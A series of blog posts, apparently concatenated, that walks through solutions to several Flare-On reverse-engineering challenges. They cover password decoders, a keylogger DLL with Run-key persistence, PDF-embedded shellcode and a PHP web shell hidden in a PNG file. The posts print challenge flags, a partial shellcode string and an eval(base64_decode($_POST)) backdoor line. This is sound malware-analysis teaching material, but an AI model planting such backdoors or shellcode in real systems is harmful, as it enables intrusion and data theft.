This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
In the third challenge, you are greeted with a nice goat named Elfie that when you are typing characters show up on the screen. As always I start off by checking out what kind of binary I am looking at
λ file elfie
elfie: PE32 executable (console) Intel 80386, for MS Windows
As I said we are greeted by thie goat that eats magic keys
After doing some initial analysis in Ghidra found some strings that indicate that this file might be a python executable.
Additionally, the icon embedded in the binary should have been a giveaway. I guessed it was probably a pyInstaller executable. I ran it through pyinstextractor.py to expand it out and get a copy of the python source to analyze.
C:\Users\IEUser\Desktop
λ pyinstxtractor.py elfie.exe
C:\Tools\pyinstxtractor\pyinstxtractor.py:86: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
[*] Processing elfie.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 27
[*] Length of package: 12034944 bytes
[*] Found 26 files in CArchive
[*] Beginning extraction...please standby
[!] Warning: The script is running in a different python version than the one used to build the executable
Run this script in Python27 to prevent extraction errors(if any) during unmarshalling
[*] Found 244 files in PYZ archive
[+] Possible entry point: _pyi_bootstrap
[+] Possible entry point: pyi_carchive
[+] Possible entry point: elfie
[*] Successfully extracted pyinstaller archive: elfie.exe
You can now use a python decompiler on the pyc files within the extracted directory
C:\Users\IEUser\Desktop
I found the file elfie and opened it in VSCode to look at the contents.
it looks to be full of Base64 strings that are concatenated together, decoded, and executed.
Strings
I changed the final operation to print the encoded python code for further analysis.
The next layer down looked more like normal python code with obfuscated variable names.
Even looking at the obfuscated code the is pretty obvious but I wanted to clean up some of the variable names to make sure I was not missing anything else.
This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
The second challenge from this season built on the first challenge. It was another password entry challenge but with a more complicated password encoding scheme.
First things first I validated what kind of file I was looking at.
λ file very_succes
very_succes: PE32 executable (console) Intel 80386, for MS Windows
When running the file I entered some test data to see how it looked to a user.
I switched back to Ghidra to do some static analysis on this binary and found the area of code that looked to handle the password comparison. The first check that jumped out to me was the length check that checked to see if the password was 37 characters long.
Then I found the encoding and matching bulk of the code which I have commented below. This block of code uses a combination of XOR and Bit-wise shifting of the characters to encode each character of the input to match it against the encoded password.
It took me a little bit to see that the SCASB instruction at 0x4010c8 is used to set the zero flag to 1 if the encoded value does not match and jump to a failure condition. Otherwise is set to 0 for success and continues the loop.
I ran the binary using x64dbg to walk through and monitor execution manually setting the Zero Flag to check how the algorithm operated. I also identified the location of the encoded key stored in EDI and copied out that data in hex.
As with the first challenge in this season I crudely implemented the encoder in python and using brute force was able to successfully generate the key.
Decoder code
encoded = [0xAF, 0xAA, 0xAD, 0xEB, 0xAE, 0xAA, 0xEC, 0xA4, 0xBA, 0xAF, 0xAE, 0xAA, 0x8A, 0xC0, 0xA7, 0xB0, 0xBC, 0x9A, 0xBA, 0xA5, 0xA5, 0xBA, 0xAF, 0xB8, 0x9D, 0xB8, 0xF9, 0xAE, 0x9D, 0xAB, 0xB4, 0xBC, 0xB6, 0xB3, 0x90, 0x9A, 0xA8]
result_key = ""
def xchg(s1, s2):
temp = s1
s1 = s2
s2 = temp
return s1, s2
def decoder(text_data):
global result_key
success_count = 0
bx = 0
dx = 0
key_store = 0 # stack
cl = 37
eax = 0x1901c7
for i in text_data:
dx = bx
dx = dx & 0x3
ah = (eax & 0x0000FF00 > 1)
al = (eax & 0x000000FF)
dl = (dx & 0x00FF)
al = (i ^ al)
dl, cl = xchg(dl, cl)
ah, cf = ah << cl, ah & 1
al = al + ah + cf
ax = al + (ah*0x100)
dl, cl = xchg(dl, cl)
dx = 0
dl = 0
ax = ax & 0xff
output = ax
bx = bx + (ax & 0xff)
cl = cl - 0x1
if encoded[cl] != output:
pass
else:
result_key += chr(i)
success_count += 1
return success_count
test = [65] * 37
for element in range(len(test)):
for i in range(0x21,0x7e):
test[element] = i
succ_coun = decoder(test)
if succ_coun < element+1:
pass
result_key = ""
else:
print (succ_coun, element, chr(i))
print("Key:", result_key)
break
print (test)
print ("resultkey: \"" + result_key + "\"")
This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
The first challenge in the 2015 season on Flare On was a pretty easy enter the password type of challenge. I started off by opening the extracted file in IDA and running it in the debugger. I stepped to the section of code that evaluates the input versus the input
Key encoding and comparison routine
I extracted the encoded key from memory
Encoded Key data
Then I re-implemented the XOR encryption in python and generated the key from the data.
This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
Challenge 5 brings us a DLL file, I mainly used Ghidra to statically analyze this file.
5get_it: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
After Ghidra loaded and analyzed the file, I found this function at 0x1000a680 that does a few things, first to Reads and writes the Run key to setup persistence for this DLL file, and it also copies itself to the C:\windows\system32 directory as svchost.dll to look like a legitimate DLL file. Next, it executes a function that looks to act as a key logger.
This function sets up a buffer to store keystrokes into them write them out to a file named svchost.log. Looking at the mw_key_press_handler function we see how it handles the key presses.
This function has various handler function for each ASCII value for most upper case letters, lower case letter, number, and some other characters. However not all have handler functions, so I took a closer look at the functions.
Below are three examples of functions, some of the functions would set a global variable to 1 or 0 depending on if another variable was set, and/or call another function that sets a group of global variables to 0. Not all of the functions returned the same letter that was pressed. As shown below “`” returns the number “0”.
Returns same character
Returns different character from input
Calls a function to reset all global vars
Taking a closer look at the global variables that are manipulated I could see a pattern of them being written or read depending on the keypress handler functions.
Went through the listing of functions and created a list of the key presses and the return values and saw what looks like the key.
Memory Address
Input Char
Output Char
DAT_10019460
L
l
DAT_10019464
`
0
DAT_10019468
G
g
DAT_1001946c
G
g
DAT_10019470
I
i
DAT_10019474
N
n
DAT_10019478
G
g
DAT_1001947c
D
d
DAT_10019480
O
o
DAT_10019484
T
t
DAT_10019488
U
u
DAT_1001948c
R
r
DAT_10019490
D
d
DAT_10019494
O
o
DAT_10019498
T
t
DAT_1001949c
e
5
DAT_100194a0
T
t
DAT_100194a4
R
r
DAT_100194a8
O
0
DAT_100194ac
K
k
DAT_100194b0
E
e
DAT_100194b4
`
5
DAT_100194b8
A
a
DAT_100194bc
T
t
DAT_100194c0
F
f
DAT_100194c4
L
l
DAT_100194c8
A
a
DAT_100194cc
R
r
DAT_100194d0
E
e
DAT_100194d4
D
d
DAT_100194d8
A
a
DAT_100194dc
S
s
DAT_100194e0
H
h
DAT_100194e4
O
o
DAT_100194e8
N
n
DAT_100194ec
D
d
DAT_100194f0
O
o
DAT_100194f4
T
t
DAT_100194f8
C
c
DAT_100194fc
O
o
But this table does not include the letter “m” at the end of “com” the handler for “M” has an extra function that it calls.
This function that the handler calls has a large number of local variables and makes Ghidra very sad, but its main function shows a message box with the flag: l0gging.ur.5trok5@flare-on.com
This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
We start off with a PDF file in Challenge 4, I start off by dumping the contents of the streams using pdf-parser from Didier Stevens PDF-tools
pdf-parser.py -f APT9001.orig.pdf > apt5.txt
Looking through the content I find a block of Javascript code that looks interesting
After copying it out and some manual de-obfuscation I find a block of what looks to be hex-encoded shellcode. I grabbed a script to decode it into a binary file to run and debug.
from binascii import unhexlify as unhx
#encoded = open('encoded.txt').read() # The shellcode dump
out = open('shellcode.bin', 'wb')
encoded ="%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u-SNIP-%u2454%u5740%ud0ff"
for s in encoded.split('%'):
if len(s) == 5:
HI_BYTE = s[3:]
LO_BYTE = s[1:3]
out.write(unhx(HI_BYTE))
out.write(unhx(LO_BYTE))
out.close()
I took the binary code and loaded it in BlobRunner and attached x64dbg to it.
The first instruction sets the carry flag to 1, the following instruction JMPs to end the code if the CF flag is set, the JB instruction needs to be patched to a NOP or the CF set to 0 to keep running the code.
The code can be walked through until it loads the flag into the stack around offsec of +0x3c1 and it shows up in the register of ECX.
However, if you run the code until completion it shows up as junk in the message box that is displayed.
To get the flag to show up in the message box you need to NOP the look starting at +0x3ce before the CALL to EAX.
This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
Challenge 3 brings a PE executable file to take a look at.
such_evil: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
I loaded the file up in x64dbg and after navigating to the main function it looks to load a whole lot of data onto the stack then CALL into the loaded code.
I continued to step through the program monitoring and watching the memory region pointed to be ESI.
The shell code (not pictured) is decoded and over written in multiple stages leaving these messages at ESI
Finally revealing the flag
such.5h311010101@flare-on.com
There are more elaborate ways to reveal the flag, the official write up uses IDAPython scripting to manually decode the messages.
This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
In Challenge 2 the zip file extracts a html and png file.
From the top of the HTML file to looks pretty normal until you see the PHP tag located near the bottom of the code including the PNG file in the img directory.
The file looks to be a normal PNG file and displays image data when loaded.
At the end of the file, you find some PHP code. I copied out the PHP code and translated it to some python code, it looks to be a decoding routine to generate a payload.
This code extracts some POST payloads that look to be hex and decimal ASCII codes.
$_ is b'if(isset($_POST["\\97\\49\\49\\68\\x4F\\84\\116\\x68\\97\\x74\\x44\\x4F\\x54\\x6A\\97\\x76\\x61\\x35\\x63\\x72\\97\\x70\\x41\\84\\x66\\x6C\\97\\x72\\x65\\x44\\65\\x53\\72\\111\\110\\68\\79\\84\\99\\x6F\\x6D"])) { eval(base64_decode($_POST["\\97\\49\\x31\\68\\x4F\\x54\\116\\104\\x61\\116\\x44\\79\\x54\\106\\97\\118\\97\\53\\x63\\114\\x61\\x70\\65\\84\\102\\x6C\\x61\\114\\101\\x44\\65\\x53\\72\\111\\x6E\\x44\\x4F\\84\\99\\x6F\\x6D"])); }'
$__ is b'$code=base64_decode($_);eval($code);'
Once more to convert these values to characters we find the flag.
This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
In the very first challenge you are presented with a windows executable and when you run it you are presented with a Bob Ross painting a nice scene.
But, when you click DECODE! You get a Bob Doge with an weird text string.
Digging a little deeper to see what type of file we have we find we hace a .NET executable.
$ file Challenge1.exe
Challenge1.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
I next loaded the file up in dnSpy and after navigating from the entry point into Form1. I found the following code block.
The function “btnDecode_Click()” looks very interesting, when stepping into it I find what looks to be a decoding algorithm that pulls its content from the Resources. I set a few breakpoints on the code just after the loops.
After running to the breakpoint after the first loop the flag is in clear text in the “text” variable. The next few loops re-encode the flag to return an obscured output shown in the UI.